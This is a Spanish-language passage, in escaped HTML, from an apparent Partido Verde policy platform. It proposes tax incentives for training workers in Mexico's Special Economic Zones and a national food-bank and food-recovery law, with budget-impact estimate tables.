brechas regionales mediante la creaci\u00f3n de nuevos polos de desarrollo industrial que atraigan inversiones, generen empleos, eleven la presencia de actividades econ\u00f3micas de alta productividad y traigan beneficios a la poblaci\u00f3n en las zonas de influencia.<\/p>\n<p>Dentro de los est\u00edmulos en t\u00e9rminos de desarrollo de capital humano que prev\u00e9 la actual normatividad de las ZEE, est\u00e1 el de otorgar un incentivo fiscal que consta de una deducci\u00f3n del 25 por ciento del gasto que erogar\u00e1nlas empresas por concepto de la capacitaci\u00f3n su personal laboral.<\/p>\n<p>Sin embargo, <u>no se detecta en el marco normativo aplicable alg\u00fan ordenamiento o incentivo espec\u00edfico para la contrataci\u00f3n de personal radicado en las propias ZEE, que permita a los trabajadores de las \u00c1reas de Influencia de las ZEE, mejorar sus capacidades t\u00e9cnicas y oportunidades<\/u> y; establecer procesos productivos y de servicios a la altura del contexto internacional; en ese sentido, la fuerza laboral es el principal factor para que esto sea posible, con capacitaci\u00f3n constante se lograr\u00e1 contar con una industria calificada en los m\u00e1s altos est\u00e1ndares t\u00e9cnicos y tecnol\u00f3gicos.<\/p>\n<p>Ante tal situaci\u00f3n, se propone que cuando se trate de la contrataci\u00f3n de un trabajador originario del \u00c1rea de Influencia de la ZEE, la capacitaci\u00f3n que se le proporcion\u00e9 por la empresa sea totalmente deducible ante la Hacienda Federal en un 100 por ciento.<\/p>\n<p>Para conocer el impacto presupuestario que tendr\u00eda dicha propuesta, a las Finanzas P\u00fablicas de pa\u00eds, se considera lo siguiente:<\/p>\n<p>La Secretar\u00eda de Hacienda y Cr\u00e9dito P\u00fablico con base a sus diagn\u00f3sticos y evaluaciones internas, en enero de 2017, mediante comunicado, dio a conocer, que las Zonas Econ\u00f3micas Especiales generar\u00edan 280 mil empleados en 10 a\u00f1os<a href=\"#_ftn15\" name=\"_ftnref15\"><sup>[15]<\/sup><\/a>, es decir, 28 mil empleos en promedio anual.<\/p>\n<p>De acuerdo con la revista Training Industry Report, las empresas se gastan aproximadamente 1,200 d\u00f3lares por empleado al a\u00f1o en su capacitaci\u00f3n<a href=\"#_ftn16\" name=\"_ftnref16\"><sup>[16]<\/sup><\/a> cubriendo los est\u00e1ndares internacionales de calidad.<\/p>\n<p>Dicho anterior, la estimaci\u00f3n presupuestaria de la propuesta en comento ser\u00eda la siguiente:<\/p>\n<table>\n<tbody>\n<tr>\n<td colspan=\"2\" width=\"534\">\n<p><strong>ESTIMACI\u00d3N DEL GASTO FISCAL PARA LA CAPACITACI\u00d3N DE TRABAJADORES ORIGINARIOS DE LAS ZEE<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"364\">\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Empleos generados en promedio anual en las ZEE.<\/strong><\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<\/td>\n<td width=\"170\">\n<p>\u00a0<\/p>\n<p>28,000 empleos.<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"364\">\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Costo promedio anual de la capacitaci\u00f3n de un trabajador.<\/strong><\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<\/td>\n<td width=\"170\">\n<p>\u00a0<\/p>\n<p>22,800 pesos.<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"364\">\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Gasto anual estimado con base a la normatividad vigente de las ZEE de un 25%, para la capacitaci\u00f3n de los trabajadores.<\/strong><\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<\/td>\n<td width=\"170\">\n<p>\u00a0<\/p>\n<p>159.6 millones de pesos.<\/p>\n<p>\u00a0<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"364\">\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Gasto anual para cubrir el otro 75% de las erogaciones por la capacitaci\u00f3n de los trabajadores.<\/strong><\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<\/td>\n<td width=\"170\">\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>478.8 millones de pesos.<\/strong><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Fuente: Elaborado con informaci\u00f3n de la SHCP y de la Revista Training Industry Report<\/p>\n<p>El gasto fiscal que representar\u00eda para la Hacienda P\u00fablica Federal cubrir por completo la capacitaci\u00f3n de los trabajadores originarios de las \u00c1reas de Influencias donde est\u00e9n establecidas las ZEE, <strong>ascender\u00eda en su l\u00edmite m\u00e1ximo, a un monto estimado de 478.8 millones de pesos en promedio anual.<\/strong><\/p>\n<p>Con este est\u00edmulo fiscal, las empresas tendr\u00edan un incentivo muy atractivo en contratar a un trabajador originario de cada una de las Zonas Econ\u00f3micas Especiales, pero m\u00e1s a\u00fan, otorgarle una capacitaci\u00f3n con los m\u00e1ximos est\u00e1ndares internacionales de calidad, al ser \u00e9sta cubierta por el Estado Mexicano, lo cual repercutir\u00e1 en un incremento significado en la productividad laboral de cada una de las regiones beneficiadas.<\/p>\n<p><strong>EN EL PARTIDO VERDE, PROPONEMOS PARA QUE SE REALICEN LAS SIGUIENTES ACCIONES:<\/strong><\/p>\n<ul>\n<li>Modificar los art\u00edculos 33, fracci\u00f3n XIII y 35, fracci\u00f3n VII de la Ley Federal de Zonas Econ\u00f3micas Especiales para promover el empleo\/contrataci\u00f3n de las personas que habitan los territorios en donde se establezcan las ZEE.<\/li>\n<li>Incluir las zonas de Santa Mar\u00eda del Oro, Chimaltitan, y Jilotlan del estado de Jalisco como Zonas Econ\u00f3micas Especiales, brindando la oportunidad de promover el empleo y el crecimiento econ\u00f3mico de las zonas en donde se realice inversi\u00f3n.<\/li>\n<\/ul>\n<p><strong>T\u00cdTULO<\/strong>: <strong>M\u00c9XICO SIN HAMBRE<\/strong><\/p>\n<p><strong>VISI\u00d3N<\/strong>: Evitar el desperdicio de alimentos mediante la generaci\u00f3n de esquemas de recuperaci\u00f3n, a efecto de garantizar el derecho humano a una alimentaci\u00f3n nutritiva, suficiente y de calidad, a aquellos sectores de la poblaci\u00f3n que por diferentes causas no pueden satisfacer esa necesidad b\u00e1sica, as\u00ed como aminorar las afectaciones ambientales por la producci\u00f3n de alimentos que no sean consumidos.<\/p>\n<p><strong>RESUMEN EJECUTIVO:<\/strong><\/p>\n<p>Seg\u00fan datos del Banco Mundial, en todo el mundo se pierde o desperdicia entre un cuarto y un tercio de la producci\u00f3n de alimentos para el consumo humano<a href=\"#_ftn17\" name=\"_ftnref17\"><sup>[17]<\/sup><\/a>. La Organizaci\u00f3n de las Naciones Unidas\u00a0 para la Alimentaci\u00f3n y la Agricultura (FAO) coincide con lo anterior al afirmar que en Am\u00e9rica Latina y el Caribe se desperdicia el 35% de los alimentos que se producen. La recuperaci\u00f3n de \u00e9stos permitir\u00eda alimentar a la poblaci\u00f3n en situaci\u00f3n de hambre en M\u00e9xico, que seg\u00fan cifras del CONEVAL de 2016<a href=\"#_ftn18\" name=\"_ftnref18\"><sup>[18]<\/sup><\/a>, asciende a 24.6 millones de personas.<\/p>\n<p>Un estudio realizado por el Banco Mundial toma una muestra de 79 alimentos desperdiciados, de cuyo an\u00e1lisis se concluye que se generan 36 millones de toneladas de CO<sup>2<\/sup> eq., la misma cantidad de emisiones generadas por 15.7 millones de veh\u00edculos.<\/p>\n<p>Adem\u00e1s, el agua utilizada en la producci\u00f3n de la misma muestra, asciende a cerca de 40 billones de litros de agua que finalmente se pierden. Este volumen ser\u00eda suficiente para proveer a todos los mexicanos durante 2.4 a\u00f1os.<\/p>\n<p><strong>PLANTEAMIENTO DEL PROBLEMA:<\/strong><\/p>\n<p>La merma, p\u00e9rdida<a href=\"#_ftn19\" name=\"_ftnref19\"><sup>[19]<\/sup><\/a> y desperdicio de alimentos en M\u00e9xico, es equivalente al 35% de los alimentos producidos. El desperdicio se puede dar en las etapas de producci\u00f3n, pos-cosecha y procesamiento de alimentos, as\u00ed como de venta minorista y consumo final.<\/p>\n<p>En nuestro pa\u00eds, la problem\u00e1tica de p\u00e9rdida de alimentos es mayor en los primeros eslabones de la cadena de producci\u00f3n de alimentos (desde la pre-cosecha).<\/p>\n<p>En la fase de producci\u00f3n primaria la cosecha no compensa el costo del transporte e incita a los productores a dejar los productos en el campo, debido a la volatilidad de precios del mercado. Tambi\u00e9n se pierden alimentos en esta etapa porque en ocasiones no cumplen con est\u00e1ndares de calidad exigidos por el mercado. Lo mismo sucede con el producto cosechado, que se pierde por no alcanzar los criterios de calidad. En la industria de la transformaci\u00f3n la p\u00e9rdida se debe a envases o embalajes da\u00f1ados (caja de cereal da\u00f1ada), o errores de envasado (errores de impresi\u00f3n).<\/p>\n<p>En la etapa de distribuci\u00f3n y comercializaci\u00f3n, se pierden alimentos por mal manejo, principalmente de los perecederos, por tener una fecha pr\u00f3xima de caducidad o por que exceden la misma.<\/p>\n<p>Finalmente, en la fase de consumo se desperdicia gran cantidad de alimentos debido a los malos h\u00e1bitos de planificaci\u00f3n al comprar los alimentos o falta de comprensi\u00f3n de las etiquetas, entre otros factores. En hoteles, restaurantes, comedores escolares y hogares, se desechan alimentos ya preparados, por no ser del agrado del consumidor.<\/p>\n<p>Las actividades de recuperaci\u00f3n son realizadas mayormente por los bancos de alimentos que hoy en d\u00eda son iniciativas privadas que atienden la problem\u00e1tica en distintas entidades federativas. A la fecha, la Asociaci\u00f3n Mexicana de Bancos de Alimentos de M\u00e9xico, de Alimentos es la segunda m\u00e1s grande del mundo y tiene la capacidad de recuperar alrededor de 125 mil toneladas anuales de alimentos alimentando as\u00ed a 1.2 millones de personas, a trav\u00e9s de sus 60 bancos afiliados. Sin embargo la cantidad recuperada sigue siendo mucho menor a lo que se desperdicia.<\/p>\n<p>El problema de carencia alimentaria que existe en M\u00e9xico, no es un tema de insuficiencia de alimentos, sino de aprovechamiento y distribuci\u00f3n ineficiente de\u00a0 los mismos.<\/p>\n<p>La p\u00e9rdida de alimentos tiene impactos sociales, econ\u00f3micos y ambientales. Implica la utilizaci\u00f3n de recursos naturales e insumos agr\u00edcolas que tambi\u00e9n acaban desperdici\u00e1ndose y generando impactos innecesarios, reduce la disponibilidad local y mundial de alimentos, genera p\u00e9rdidas de ingresos para los productores, aumenta los precios para los consumidores e impacta de manera negativa en la salud y nutrici\u00f3n de la poblaci\u00f3n. Tambi\u00e9n genera contaminaci\u00f3n del aire (emisiones de GEI durante el proceso de producci\u00f3n y en la disposici\u00f3n final de residuos org\u00e1nicos), del suelo y agua (uso ineficiente de agroqu\u00edmicos).<\/p>\n<p><strong>IMPACTO PRESUPUESTAL<\/strong><\/p>\n<p>Actualmente en Am\u00e9rica Latina y el Caribe se desperdicia el 35 por ciento de los alimentos, cuya recuperaci\u00f3n permitir\u00eda alimentar a la poblaci\u00f3n en situaci\u00f3n de hambre en M\u00e9xico (alrededor de 24.6 millones de personas).<\/p>\n<p>Desde 1995 existe en M\u00e9xico la asociaci\u00f3n civil<em> Asociaci\u00f3n Mexicana de Bancos de Alimentos, A. C.<\/em> (BAMX), que cuenta actualmente con m\u00e1s de 60 puntos de distribuci\u00f3n en el pa\u00eds y atiende a 1.3 millones de personas que tienen carencia alimentaria. Su labor ha permitido el rescate, en 2014, de 117 millones de kilos de alimento aptos para el consumo humano<a href=\"#_ftn20\" name=\"_ftnref20\"><sup>[20]<\/sup><\/a>. Sin embargo, la cantidad recuperada sigue siendo mucho menor a lo que se desperdicia.<\/p>\n<p>En el siguiente cuadro se analizan los aspectos m\u00e1s relevantes y su posible impacto presupuestario.<\/p>\n<p><strong>Cuadro <\/strong><strong>1<\/strong><strong>. An\u00e1lisis de los aspectos relevantes de la propuesta<\/strong><\/p>\n<table>\n<thead>\n<tr>\n<td width=\"56\">\n<p><strong>No.<\/strong><\/p>\n<\/td>\n<td width=\"208\">\n<p><strong>Aspecto de la propuesta<\/strong><\/p>\n<\/td>\n<td width=\"217\">\n<p><strong>Posible impacto presupuestario<\/strong><\/p>\n<\/td>\n<td width=\"165\">\n<p><strong>Comentarios<\/strong><\/p>\n<\/td>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td width=\"56\">\n<p>1<\/p>\n<\/td>\n<td width=\"208\">\n<p>Creaci\u00f3n de la Ley General para la Prevenci\u00f3n y Recuperaci\u00f3n de Alimentos en M\u00e9xico<\/p>\n<\/td>\n<td width=\"217\">\n<p>Costos marginales por parte de las entidades normativas y regulatorias. (Por ejemplo, el H. Congreso de la Uni\u00f3n).<\/p>\n<\/td>\n<td width=\"165\">\n<p>No se estima el impacto.<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"56\">\n<p>2<\/p>\n<\/td>\n<td width=\"208\">\n<p>La obligaci\u00f3n de todas las entidades federativas de tener al menos un Banco de Alimentos<\/p>\n<\/td>\n<td width=\"217\">\n<p>\u00b7\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Gasto de operaci\u00f3n<\/p>\n<p>\u00b7\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Probable gasto de inversi\u00f3n (en caso de no contar con instalaciones adecuadas)<\/p>\n<\/td>\n<td width=\"165\">\n<p>\u00b7\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Se estima el gasto de operaci\u00f3n similar a DICONSA o BAMX (1).<\/p>\n<p>\u00b7\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 No se estima el gasto de inversi\u00f3n. Se asume que cada entidad federativa cuenta con al menos unas oficinas suficientes para el Banco de Alimentos o, en su caso, trabajar en colaboraci\u00f3n con las organizaciones de la sociedad civil existentes o con DICONSA.<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"56\">\n<p>3<\/p>\n<\/td>\n<td width=\"208\">\n<p>Recepci\u00f3n de donativos adem\u00e1s de apoyos y subsidios por parte del Estado.<\/p>\n<\/td>\n<td width=\"217\">\n<p>\u00b7\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 La posibilidad de recibir donativos para las organizaciones de la sociedad civil ya existe, de igual forma ya reciben apoyos y subsidios por parte de entidades p\u00fablicas, al menos por parte de las secretar\u00edas de Desarrollo Social (SEDESOL) y de Agricultura, Ganader\u00eda, Desarrollo Rural, Pesca y Alimentaci\u00f3n (SAGARPA)<a href=\"#_ftn21\" name=\"_ftnref21\"><sup>[21]<\/sup><\/a>.<\/p>\n<\/td>\n<td width=\"165\">\n<p>\u00b7\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 No se tienen elementos para estimar el posible aumento en subsidios y ayudas. No se estiman.<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"56\">\n<p>4<\/p>\n<\/td>\n<td width=\"208\">\n<p>Deducci\u00f3n de impuestos<\/p>\n<p>\u00b7\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Por donaci\u00f3n<\/p>\n<p>\u00b7\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Por traslado de alimentos<\/p>\n<\/td>\n<td width=\"217\">\n<p>\u00b7\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Generaci\u00f3n de gastos fiscales adicionales (menores ingresos para el erario).<\/p>\n<\/td>\n<td width=\"165\">\n<p>\u00b7\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Se estima un incremento en las deducciones, por lo que los gastos fiscales correspondientes a la recaudaci\u00f3n del Impuesto sobre la Renta (ISR) podr\u00edan aumentar (2).<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"56\">\n<p>5<\/p>\n<\/td>\n<td width=\"208\">\n<p>Establecimiento de mecanismos y regulaciones varias.<\/p>\n<\/td>\n<td width=\"217\">\n<p>\u00b7\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 S\u00f3lo generar\u00edan costos marginales.<\/p>\n<\/td>\n<td width=\"165\">\n<p>\u00b7\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 No se estiman.<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Fuente: elaboraci\u00f3n propia.<\/p>\n<p>\u00a0<\/p>\n<p>En el estado de Jalisco no se cuenta con alguna ley que tenga alguna de las facultades que se mencionan sobre los bancos de alimentos a nivel federal, solo se cuenta con el\u00a0 C\u00f3digo de asistencia social del estado de Jalisco. Art. 256 a 272 el cual regula a los bancos de alimentos tanto su integraci\u00f3n, como los est\u00edmulos y sanciones que pueden tener.<\/p>\n<ol>\n<li><strong>Gasto de operaci\u00f3n<\/strong><\/li>\n<\/ol>\n<p>Se tienen los siguientes supuestos:<\/p>\n<ul>\n<li>Se colaborar\u00eda con DICONSA, aprovechando su infraestructura para generar econom\u00edas de escala.<\/li>\n<li>DICONSA cuenta con la red de abasto social m\u00e1s grande en toda Am\u00e9rica Latina, con 300 almacenes, m\u00e1s de 27 mil tiendas comunitarias fijas, 295 m\u00f3viles y 151 centros de atenci\u00f3n a beneficiarios, instalados a nivel nacional. Tiene amplia presencia en los municipios que son atendidos a trav\u00e9s de la Cruzada Nacional Contra el Hambre y lleva productos que procuran una alimentaci\u00f3n sana, variada y suficiente en los comedores comunitarios de todo el pa\u00eds<a href=\"#_ftn22\" name=\"_ftnref22\"><sup>[22]<\/sup><\/a>.<\/li>\n<li>Se cuenta con la posibilidad de dotar de instalaciones f\u00edsicas a los bancos de alimentos en cada uno de los municipios del estado sin erogar recursos adicionales.<\/li>\n<li>No se sustituye la labor de la red de BAMX, pero se complementa. Ello significa que los gastos que actualmente realiza el Estado y los donativos que se reciben por la Red no se desplazan hacia los bancos de alimentos de nueva creaci\u00f3n (podr\u00eda crear conflictos con la sociedad civil y el sector privado que la apoya).<\/li>\n<\/ul>\n<p>Dado que no se cuenta con informaci\u00f3n a detalle sobre la operaci\u00f3n de los bancos de alimentos, se utiliza como un aproximado el gasto anual que realiza BAMX. De acuerdo con el <em>Informe 2015<\/em> de BAMX<a href=\"#_ftn23\" name=\"_ftnref23\"><sup>[23]<\/sup><\/a>, la red cuenta con 58 bancos de alimentos, una oficina de servicio nacional y un centro nacional de acopio y distribuci\u00f3n. La red de bancos de alimentos del Estado propuesta estar\u00eda, en principio, conformada por 32 bancos de alimentos y, posiblemente, una oficina central y un centro nacional de acopio y distribuci\u00f3n. En caso de requerirse de un mayor n\u00famero de centros de acopio, se estar\u00eda bajo el supuesto de la colaboraci\u00f3n con DICONSA.<\/p>\n<p>Actualmente los bancos que se encuentran dentro del estado de Jalisco manifiestan que\u00a0 solo se recupera el uno por ciento del alimento que se desperdicia (los bancos de alimentos recabaron en 2016 m\u00e1s de cuatro mil 500 frutas y verduras, principalmente) dejando en evidencia que la cifra de alimentos que se desperdician es elevada y que cada vez mayor, sin embargo no se cuenta con las medidas necesarias para poder elevar el porcentaje de alimentos que se pueden recuperar en el estado.<\/p>\n<p>De acuerdo con el<em> Informe 2015<\/em><a href=\"#_ftn24\" name=\"_ftnref24\"><sup>[24]<\/sup><\/a>de la instituci\u00f3n, en ese mismo a\u00f1o se erogaron 263.8 mdp por concepto de apoyos (239.8 mdp) y operaci\u00f3n (24.0 mdp). Considerando que cuenta con 58 bancos de alimentos, se podr\u00eda estimar que, si fueran s\u00f3lo 32, el gasto por concepto de apoyos se reducir\u00eda de manera proporcional. Ello resultar\u00eda en un gasto equivalente a 132.3 mdp por concepto de apoyos que, sumado al gasto de operaci\u00f3n de 24.0 mdp, equivaldr\u00eda a 156.3 mdp. Actualizando esta cifra a 2018, se tiene un estimado de impacto presupuestario por la operaci\u00f3n de los bancos de alimentos de 178.9 mdp<a href=\"#_ftn25\" name=\"_ftnref25\"><sup>[25]<\/sup><\/a>.<\/p>\n<ol start=\"2\">\n<li><strong>Gastos fiscales<\/strong><\/li>\n<\/ol>\n<p>Los gastos fiscales son estimaciones de ingresos que el erario deja de percibir por la auto aplicaci\u00f3n por parte de los contribuyentes de los tratamientos diferenciales contenidos en los ordenamientos legales de los diversos impuestos<a href=\"#_ftn26\" name=\"_ftnref26\"><sup>[26]<\/sup><\/a>, es decir, no corresponden a un egreso, pero s\u00ed a la disminuci\u00f3n de los ingresos.<\/p>\n<p>En la propuesta bajo an\u00e1lisis es posible que los gastos fiscales por concepto del ISR aumenten. De acuerdo con la Secretar\u00eda de Hacienda y Cr\u00e9dito P\u00fablico (SHCP)<a href=\"#_ftn27\" name=\"_ftnref27\"><sup>[27]<\/sup><\/a>, los donativos se incrementaron de 2010 a 2015 a una tasa promedio anual real de 3.9 por ciento. El total de donativos presentados para deducci\u00f3n por los contribuyentes en 2015 ascendi\u00f3 a 9,714 mdp de 2017. Este monto no corresponde al total de impuestos deducidos, es decir, al gasto fiscal por este concepto.<\/p>\n<p>En principio, el monto de los donativos que se puede deducir asciende al 7 por ciento ya sea de la utilidad total de las empresas o de los ingresos de las personas f\u00edsicas<a href=\"#_ftn28\" name=\"_ftnref28\"><sup>[28]<\/sup><\/a>. Dado que no se conocen los montos totales relacionados con la utilidad o los ingresos de los donantes, no se puede estimar el gasto fiscal relacionado de esta forma.<\/p>\n<p>Se tienen entonces los siguientes supuestos para calcular la relaci\u00f3n existente entre el monto total de los donativos y lo que se deja de pagar por concepto de ISR:<\/p>\n<ul>\n<li>La tasa media de crecimiento anual real de los donativos deducidos se mantiene en 3.9 por ciento.<\/li>\n<li>La estimaci\u00f3n de SHCP del gasto fiscal por donativos en 2018 (4,879 mdp, ver cuadro abajo) es consistente con la estimaci\u00f3n del monto total de los donativos que se busca deducir (crecimiento del 3.9 por ciento real anual de donativos).<\/li>\n<\/ul>\n<p><a name=\"_Toc496201573\"><\/a><strong>Cuadro <\/strong><strong>2<\/strong><strong>. <\/strong><strong>Estimaci\u00f3n de gastos fiscales relacionados con los donativos, 2017 y 2018<\/strong><\/p>\n<p>(Cifras en millones de pesos.)<\/p>\n<table width=\"447\">\n<thead>\n<tr>\n<td width=\"293\">\n<p><strong>Concepto<\/strong><\/p>\n<\/td>\n<td width=\"76\">\n<p><strong>2017<\/strong><\/p>\n<\/td>\n<td width=\"78\">\n<p><strong>2018 (estimado SHCP)<\/strong><\/p>\n<\/td>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td width=\"293\">\n<p><strong>Total<\/strong><\/p>\n<\/td>\n<td width=\"76\">\n<p><strong>4,577<\/strong><\/p>\n<\/td>\n<td width=\"78\">\n<p><strong>4,879<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"293\">\n<p><strong>ISR empresarial<\/strong><\/p>\n<\/td>\n<td width=\"76\">\n<p><strong>3,868<\/strong><\/p>\n<\/td>\n<td width=\"78\">\n<p><strong>4,123<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"293\">\n<p>Deducciones por donativos<\/p>\n<\/td>\n<td width=\"76\">\n<p>2,439<\/p>\n<\/td>\n<td width=\"78\">\n<p>2,600<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"293\">\n<p>Sector primario<\/p>\n<\/td>\n<td width=\"76\">\n<p>\u00a0<\/p>\n<\/td>\n<td width=\"78\">\n<p>24<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"293\">\n<p>Comercio al por mayor<\/p>\n<\/td>\n<td width=\"76\">\n<p>\u00a0<\/p>\n<\/td>\n<td width=\"78\">\n<p>333<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"293\">\n<p>Comercio al por menor<\/p>\n<\/td>\n<td width=\"76\">\n<p>\u00a0<\/p>\n<\/td>\n<td width=\"78\">\n<p>448<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"293\">\n<p>Servicios de alojamiento temporal y de preparaci\u00f3n de alimentos y bebidas<\/p>\n<\/td>\n<td width=\"76\">\n<p>\u00a0<\/p>\n<\/td>\n<td width=\"78\">\n<p>22<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"293\">\n<p>Otros<\/p>\n<\/td>\n<td width=\"76\">\n<p>\u00a0<\/p>\n<\/td>\n<td width=\"78\">\n<p>1,773<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"293\">\n<p>Exenciones a ISR sobre intereses de donatarias<\/p>\n<\/td>\n<td width=\"76\">\n<p>1,429<\/p>\n<\/td>\n<td width=\"78\">\n<p>1,523<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"293\">\n<p><strong>ISR personas f\u00edsicas<\/strong><\/p>\n<\/td>\n<td width=\"76\">\n<p><strong>\u00a0<\/strong><\/p>\n<\/td>\n<td width=\"78\">\n<p><strong>\u00a0<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"293\">\n<p>Deducciones por donativos<\/p>\n<\/td>\n<td width=\"76\">\n<p>709<\/p>\n<\/td>\n<td width=\"78\">\n<p>756<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Fuente: elaboraci\u00f3n propia con base en el Presupuesto de Gastos Fiscales 2017, de la SHCP.<\/p>\n<p>Si en 2015 el total de donativos declarados ascendi\u00f3 a 9,714 mdp de 2017, para 2018 se estima un total de donativos declarados de 10,895.4 mdp de 2018. Si la SHCP estima que el gasto fiscal derivado de los donativos ascender\u00e1 a 4,879 mdp, ello equivaldr\u00eda a que, del total de donativos declarados, se deduce el 46.6 por ciento.<\/p>\n<p>Una vez que se tiene una relaci\u00f3n entre los montos donados (o que se presentan ante la SHCP para considerar una deducci\u00f3n) y la cantidad de impuestos que no se paga, que equivale al 46.6 por ciento, se procede a estimar el monto de donativos que se espera recibir por parte de la red de bancos de alimentos a crearse.<\/p>\n<p>En 2015 BAMX recibi\u00f3 por concepto de donativos la cantidad de 63.9 mdp en efectivo y 203.7 mdp en especie<a href=\"#_ftn29\" name=\"_ftnref29\"><sup>[29]<\/sup><\/a>. Considerando que hasta 2018 estos montos se hubiesen incrementado 3.9 por ciento real cada a\u00f1o, se tiene un total de 300.1 mdp de donativos a recibir.<\/p>\n<p>Si se toma esta cifra como base de c\u00e1lculo para los donativos a recibirse por la red de bancos de alimentos a crearse por la propuesta (adicionales a los que actualmente recibe BAMX), incluyendo como donativos el transporte de los alimentos (en especie) y que tanto los donativos en especie como los que son en efectivo pueden deducirse, se esperar\u00eda un gasto fiscal relacionado del 46.6 por ciento de esta cifra, es decir, de 139.8 mdp.<\/p>\n<ol start=\"3\">\n<li><strong>Total<\/strong><\/li>\n<\/ol>\n<p>En caso de implementarse la propuesta y dados los supuestos explicados arriba, se tiene que el impacto presupuestario estimado de la propuesta asciende a cerca de 320 mdp al a\u00f1o.<\/p>\n<p><strong>Cuadro <\/strong><strong>3<\/strong><strong>. Estimaci\u00f3n del impacto presupuestario anual de la propuesta 2018<\/strong><\/p>\n<p>(Cifras en millones de pesos.)<\/p>\n<table width=\"369\">\n<thead>\n<tr>\n<td width=\"293\">\n<p><strong>Concepto<\/strong><\/p>\n<\/td>\n<td width=\"76\">\n<p><strong>2017<\/strong><\/p>\n<\/td>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td width=\"293\">\n<p><strong>Total<\/strong><\/p>\n<\/td>\n<td width=\"76\">\n<p><strong>318.7<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"293\">\n<p>Gasto de operaci\u00f3n<\/p>\n<\/td>\n<td width=\"76\">\n<p>178.9<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"293\">\n<p>Gasto fiscal<\/p>\n<\/td>\n<td width=\"76\">\n<p>139.8<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Fuente: elaboraci\u00f3n propia con base en diversos supuestos e informaci\u00f3n de BAMX y SHCP.<\/p>\n<p><strong>EN EL PARTIDO VERDE, PROPONEMOS PARA QUE A NIVEL FEDERAL SE REALICEN LAS SIGUIENTES ACCIONES:<\/strong><\/p>\n<ul>\n<li>Creaci\u00f3n de la Ley General para la Prevenci\u00f3n y Recuperaci\u00f3n de Alimentos en M\u00e9xico que precise los objetivos y l\u00edneas de acci\u00f3n a implementar para garantizar el derecho constitucional a la alimentaci\u00f3n, prevenir el desperdicio de alimentos, fomentar su rescate y recuperaci\u00f3n, as\u00ed como la reutilizaci\u00f3n de los alimentos. De manera espec\u00edfica se propone:<\/li>\n<\/ul>\n<ol>\n<li>Obligaci\u00f3n de todas las entidades federativas de tener al menos un Banco de Alimentos y despu\u00e9s tantos como requiera su poblaci\u00f3n.<\/li>\n<li>Generar el andamiaje legal para que los bancos de alimentos puedan recibir donativos de acuerdo a la Ley del Impuesto sobre la Renta y apoyos y subsidios por parte de las entidades p\u00fablicas.<\/li>\n<\/ol>\n<ul>\n<li>Establecer mecanismos obligatorios para que centrales de abasto, mercados, tiendas de autoservicio, hoteles, restaurantes e industria de la transformaci\u00f3n transporten y entreguen los alimentos que no ser\u00e1n comercializados o utilizados, pero que (y que por su valor nutrimental y condiciones sean susceptibles para el consumo humano) a Bancos de Alimentos, o a las organizaciones civiles o comunitarias que \u00e9stos les indiquen, a trav\u00e9s del Comit\u00e9 que para tal efecto se conforme.<\/li>\n<\/ul>\n<ol>\n<li>Regular el tratamiento comercial en las tiendas de autoservicio de los alimentos perecederos, enlatados y envasados a efecto de recuperar alimentos que son susceptibles de ser consumidos y aprovechados aunque no cumplan con requisitos comerciales.<\/li>\n<li>Establecer mecanismos obligatorios para que los alimentos que no ser\u00e1n comercializados, utilizados o entregados directamente a Bancos de Alimentos o a las organizaciones civiles o comunitarias, puedan ser entregados a los municipios o localidades con un mayor \u00edndice de 